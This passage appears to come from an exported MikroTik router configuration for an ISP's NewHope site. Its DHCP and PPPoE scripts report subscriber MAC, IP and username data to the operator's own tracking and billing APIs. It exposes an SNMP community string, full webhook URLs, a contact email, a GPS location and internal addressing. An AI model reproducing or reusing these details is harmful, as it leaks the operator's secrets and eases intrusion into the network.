\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=1h name=management
|
||||||
|
add address-pool=dhcp_pool6 interface=ether7-tower lease-time=1h name=\
|
||||||
|
newhope-tower
|
||||||
|
/ip smb users
|
||||||
|
set [ find default=yes ] disabled=yes
|
||||||
|
/ipv6 pool
|
||||||
|
add name=newhope-v6 prefix=2606:1c80:1:5000::/52 prefix-length=64
|
||||||
|
/ppp profile
|
||||||
|
set *0 remote-address=dhcp_pool3
|
||||||
|
add change-tcp-mss=yes dns-server=204.110.191.240,204.110.191.20 \
|
||||||
|
local-address=100.64.19.253 name=newhope on-down="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
|
||||||
|
\_for \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
|
||||||
|
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (AWS API)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
|
||||||
|
r \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
|
||||||
|
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" on-up="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 5\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
|
||||||
|
or \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
|
||||||
|
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
|
||||||
|
\$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
|
||||||
|
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" remote-address=cgnat use-upnp=no
|
||||||
|
/queue type
|
||||||
|
add kind=pcq name=delinquent_download pcq-classifier=dst-address \
|
||||||
|
pcq-dst-address6-mask=64 pcq-rate=64k pcq-src-address6-mask=64 \
|
||||||
|
pcq-total-limit=250000KiB
|
||||||
|
add kind=pcq name=delinquent_upload pcq-classifier=src-address \
|
||||||
|
pcq-dst-address6-mask=64 pcq-rate=64k pcq-src-address6-mask=64 \
|
||||||
|
pcq-total-limit=250000KiB
|
||||||
|
add kind=fq-codel name=fq-codel
|
||||||
|
/queue interface
|
||||||
|
set combo1 queue=fq-codel
|
||||||
|
set ether1 queue=fq-codel
|
||||||
|
set ether2-380 queue=fq-codel
|
||||||
|
set ether3-lowrycrossing-old queue=fq-codel
|
||||||
|
set ether4 queue=fq-codel
|
||||||
|
set ether5-switch queue=fq-codel
|
||||||
|
set ether6-lowrycrossing queue=fq-codel
|
||||||
|
set ether7-tower queue=fq-codel
|
||||||
|
set sfp-sfpplus1-edgepoint queue=fq-codel
|
||||||
|
/routing bgp template
|
||||||
|
set default as=393837 disabled=yes output.network=bgp-networks .redistribute=\
|
||||||
|
connected
|
||||||
|
/routing id
|
||||||
|
add disabled=no id=10.254.254.108 name=id-1 select-dynamic-id=""
|
||||||
|
/routing ospf instance
|
||||||
|
add disabled=no in-filter-chain=ospf-in name=default-v2 out-filter-chain=\
|
||||||
|
ospf-out redistribute=connected,rip router-id=id-1
|
||||||
|
add disabled=no in-filter-chain=ospf-in name=default-v3 out-filter-chain=\
|
||||||
|
ospf-out router-id=id-1 version=3
|
||||||
|
/routing ospf area
|
||||||
|
add disabled=no instance=default-v2 name=backbone-v2
|
||||||
|
add disabled=no instance=default-v3 name=backbone-v3
|
||||||
|
/snmp community
|
||||||
|
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
|
||||||
|
kdyyJrT0Mm
|
||||||
|
/system logging action
|
||||||
|
set 3 remote=10.240.1.250 src-address=10.254.254.108
|
||||||
|
add name=logs remote=204.110.191.229 src-address=10.254.254.108 target=remote
|
||||||
|
/interface bridge port
|
||||||
|
add bridge=bridge_cpe_mgmt ingress-filtering=no interface=mgmt_ether5 \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=bridge_cpe_mgmt ingress-filtering=no interface=mgmt_sfp+ \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=newhope ingress-filtering=no interface=combo1 internal-path-cost=\
|
||||||
|
10 path-cost=10
|
||||||
|
add bridge=newhope interface=ether5-switch
|
||||||
|
add bridge=newhope interface=sfp-sfpplus1-edgepoint
|
||||||
|
/ip firewall connection tracking
|
||||||
|
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
|
||||||
|
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
|
||||||
|
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
|
||||||
|
tcp-time-wait-timeout=2m udp-stream-timeout=2m
|
||||||
|
/ip settings
|
||||||
|
set tcp-syncookies=yes
|
||||||
|
/interface pppoe-server server
|
||||||
|
add authentication=mschap2 default-profile=newhope disabled=no interface=\
|
||||||
|
newhope max-mru=1492 max-mtu=1492 one-session-per-host=yes service-name=\
|
||||||
|
newhope
|
||||||
|
/interface sstp-server server
|
||||||
|
set certificate=vntx.net.pem_0
|
||||||
|
/ip address
|
||||||
|
add address=10.254.254.108 interface=lo network=10.254.254.108
|
||||||
|
add address=10.250.1.110/29 interface=ether6-lowrycrossing network=\
|
||||||
|
10.250.1.104
|
||||||
|
add address=10.10.143.254/20 interface=bridge_cpe_mgmt network=10.10.128.0
|
||||||
|
add address=100.64.19.254/22 interface=sfp-sfpplus1-edgepoint network=\
|
||||||
|
100.64.16.0
|
||||||
|
add address=204.110.188.190/27 interface=sfp-sfpplus1-edgepoint network=\
|
||||||
|
204.110.188.160
|
||||||
|
add address=10.250.1.57/29 interface=ether2-380 network=10.250.1.56
|
||||||
|
add address=10.0.108.254/24 interface=ether7-tower network=10.0.108.0
|
||||||
|
/ip dhcp-client
|
||||||
|
add add-default-route=no disabled=yes interface=ether1
|
||||||
|
/ip dhcp-relay
|
||||||
|
add dhcp-server=38.86.38.250 interface=*A local-address=10.254.254.108 name=\
|
||||||
|
relay1
|
||||||
|
/ip dhcp-server
|
||||||
|
add address-pool=cgnat dhcp-option-set=vntx interface=newhope lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=1h name=newhope
|
||||||
|
/ip dhcp-server lease
|
||||||
|
add address=100.64.19.250 mac-address=0C:73:EB:B0:BB:5B server=newhope
|
||||||
|
add address=100.64.19.252 client-id=1:dc:2c:6e:b4:77:0 mac-address=\
|
||||||
|
DC:2C:6E:B4:77:00 server=newhope
|
||||||
|
add address=100.64.19.251 mac-address=74:AC:B9:A3:E0:5C
|
||||||
|
/ip dhcp-server network
|
||||||
|
add address=10.0.108.0/24 dns-server=204.110.191.240,204.110.191.20 gateway=\
|
||||||
|
10.0.108.254 ntp-server=204.110.191.19
|
||||||
|
add address=10.10.128.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=10.10.143.254 ntp-server=204.110.191.19
|
||||||
|
add address=100.64.16.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=100.64.19.254 ntp-server=204.110.191.19
|
||||||
|
add address=204.110.188.160/27 dns-server=204.110.191.240,204.110.191.20 \
|
||||||
|
domain=vntx.net gateway=204.110.188.190 ntp-server=204.110.191.19
|
||||||
|
/ip dhcp-server option sets
|
||||||
|
add name=vntx options=*1
|
||||||
|
/ip dns
|
||||||
|
set servers=9.9.9.9,1.1.1.1
|
||||||
|
/ip firewall filter
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=\
|
||||||
|
ether6-lowrycrossing
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether6-lowrycrossing
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=ether2-380
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether2-380
|
||||||
|
add action=fasttrack-connection chain=forward comment=\
|
||||||
|
"fasttrack established/related" connection-state=established,related
|
||||||
|
add action=accept chain=forward comment="accept established/related" \
|
||||||
|
connection-state=established,related
|
||||||
|
/ip firewall nat
|
||||||
|
add action=masquerade chain=srcnat src-address=10.0.108.0/24
|
||||||
|
/ip hotspot ip-binding
|
||||||
|
add address=100.64.19.251 type=bypassed
|
||||||
|
add address=100.64.19.250 type=bypassed
|
||||||
|
add address=204.110.188.0/24
|
||||||
|
add address=100.64.19.253 type=bypassed
|
||||||
|
add address=100.64.19.254 type=bypassed
|
||||||
|
add address=100.64.0.0/10
|
||||||
|
add address=10.100.128.1-10.100.142.254
|
||||||
|
add address=10.100.143.0/24 type=bypassed
|
||||||
|
add address=0.0.0.0/0 type=blocked
|
||||||
|
/ip hotspot user
|
||||||
|
add name=admin
|
||||||
|
/ip hotspot walled-garden
|
||||||
|
add comment="place hotspot rules here" disabled=yes
|
||||||
|
add comment="place hotspot rules here" disabled=yes
|
||||||
|
/ip hotspot walled-garden ip
|
||||||
|
add action=accept disabled=no dst-address=204.110.191.195 !dst-address-list \
|
||||||
|
!dst-port !protocol !src-address !src-address-list
|
||||||
|
add action=accept disabled=no dst-address=204.110.191.207 !dst-address-list \
|
||||||
|
!dst-port !protocol !src-address !src-address-list
|
||||||
|
add action=accept disabled=no !dst-address !dst-address-list dst-host=\
|
||||||
|
provision.vntx.net !dst-port !protocol !src-address !src-address-list
|
||||||
|
/ip ipsec policy
|
||||||
|
set 0 dst-address=0.0.0.0/0 src-address=0.0.0.0/0
|
||||||
|
/ip ipsec profile
|
||||||
|
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
|
||||||
|
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
|
||||||
|
sha256
|
||||||
|
/ip proxy
|
||||||
|
set cache-path=web-proxy1 port=33443
|
||||||
|
/ip route
|
||||||
|
add disabled=no dst-address=0.0.0.0/0 gateway=10.250.1.62
|
||||||
|
add disabled=yes dst-address=0.0.0.0/0 gateway=10.250.1.105
|
||||||
|
add disabled=no dst-address=10.254.254.109/32 gateway=10.250.1.105 \
|
||||||
|
routing-table=main
|
||||||
|
add disabled=no dst-address=204.110.188.192/27 gateway=10.250.1.105 \
|
||||||
|
routing-table=main
|
||||||
|
add disabled=no dst-address=100.64.20.0/22 gateway=10.250.1.105 \
|
||||||
|
routing-table=main
|
||||||
|
add disabled=no dst-address=10.10.144.0/20 gateway=10.250.1.105 \
|
||||||
|
routing-table=main
|
||||||
|
/ip service
|
||||||
|
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes port=81
|
||||||
|
set www-ssl address=204.110.188.0/22,10.0.0.0/8 certificate=vntx.net.pem_0
|
||||||
|
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
|
||||||
|
set winbox address=204.110.188.0/22,10.0.0.0/8
|
||||||
|
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
|
||||||
|
set api-ssl certificate=vntx.net.pem_0
|
||||||
|
/ip ssh
|
||||||
|
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
|
||||||
|
/ip traffic-flow
|
||||||
|
set cache-entries=256k enabled=yes
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:1001::2 interface=ether2-380
|
||||||
|
/ipv6 dhcp-server
|
||||||
|
add disabled=yes interface=sfp-sfpplus1-edgepoint name=server1 prefix-pool=\
|
||||||
|
newhope-v6
|
||||||
|
/mpls interface
|
||||||
|
add interface=ether2-380 mpls-mtu=1508
|
||||||
|
add interface=ether6-lowrycrossing mpls-mtu=1508
|
||||||
|
/mpls ldp
|
||||||
|
add disabled=no lsr-id=10.254.254.108 transport-addresses=10.254.254.108 vrf=\
|
||||||
|
main
|
||||||
|
/mpls ldp interface
|
||||||
|
add interface=ether2-380
|
||||||
|
add interface=ether6-lowrycrossing
|
||||||
|
/ppp aaa
|
||||||
|
set interim-update=1h use-radius=yes
|
||||||
|
/radius
|
||||||
|
add address=204.110.191.248 require-message-auth=no service=ppp,hotspot,dhcp \
|
||||||
|
src-address=204.110.188.190 timeout=3s
|
||||||
|
add address=204.110.191.2 require-message-auth=no service=ppp,hotspot,dhcp \
|
||||||
|
src-address=204.110.188.190 timeout=3s
|
||||||
|
add accounting-backup=yes address=45.76.56.5 require-message-auth=no service=\
|
||||||
|
ppp,hotspot,dhcp src-address=204.110.188.190 timeout=3s
|
||||||
|
/radius incoming
|
||||||
|
set accept=yes
|
||||||
|
/routing bfd configuration
|
||||||
|
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
|
||||||
|
/routing filter rule
|
||||||
|
add chain=ospf-in disabled=no rule="accept;"
|
||||||
|
add chain=ospf-out disabled=no rule="accept;"
|
||||||
|
add chain=bgp-in disabled=no rule="accept;"
|
||||||
|
add chain=bgp-out disabled=no rule="accept;"
|
||||||
|
/routing ospf interface-template
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether4 priority=1 type=ptp use-bfd=yes
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether6-lowrycrossing priority=1 type=ptp use-bfd=yes
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether2-380 priority=1 type=ptp use-bfd=yes
|
||||||
|
add area=backbone-v3 cost=10 disabled=no priority=1 use-bfd=no
|
||||||
|
add area=backbone-v2 disabled=no passive
|
||||||
|
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=ether4 \
|
||||||
|
type=ptp
|
||||||
|
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=ether2-380 \
|
||||||
|
type=ptp
|
||||||
|
/routing rip static-neighbor
|
||||||
|
add address="" disabled=no instance=*1
|
||||||
|
/snmp
|
||||||
|
set contact=graham@vntx.net enabled=yes location="33.207391, -96.537840"
|
||||||
|
/system clock
|
||||||
|
set time-zone-name=America/Chicago
|
||||||
|
/system identity
|
||||||
|
set name=NewHope
|
||||||
|
/system logging
|
||||||
|
add action=logs topics=info
|
||||||
|
add disabled=yes topics=!debug,!dns,!snmp,!hotspot
|
||||||
|
/system note
|
||||||
|
set note="__ __\
|
||||||
|
\n\\ \\ / /__ _ __ ___ _ __ __ _\
|
||||||
|
\n \\ \\ / / _ \\ '__/ _ \\| '_ \\ / _` |\
|
||||||
|
\n \\ V / __/ | | (_) | | | | (_| |\
|
||||||
|
\n \\_/ \\___|_| \\___/|_| |_|\\__,_|\
|
||||||
|
\n _ _ _ _\
|
||||||
|
\n| \\ | | ___| |___ _____ _ __| | _____\
|
||||||
|
\n| \\| |/ _ \\ __\\ \\ /\\ / / _ \\| '__| |/ / __|\
|
||||||
|
\n| |\\ | __/ |_ \\ V V / (_) | | | <\\__ \\\
|
||||||
|
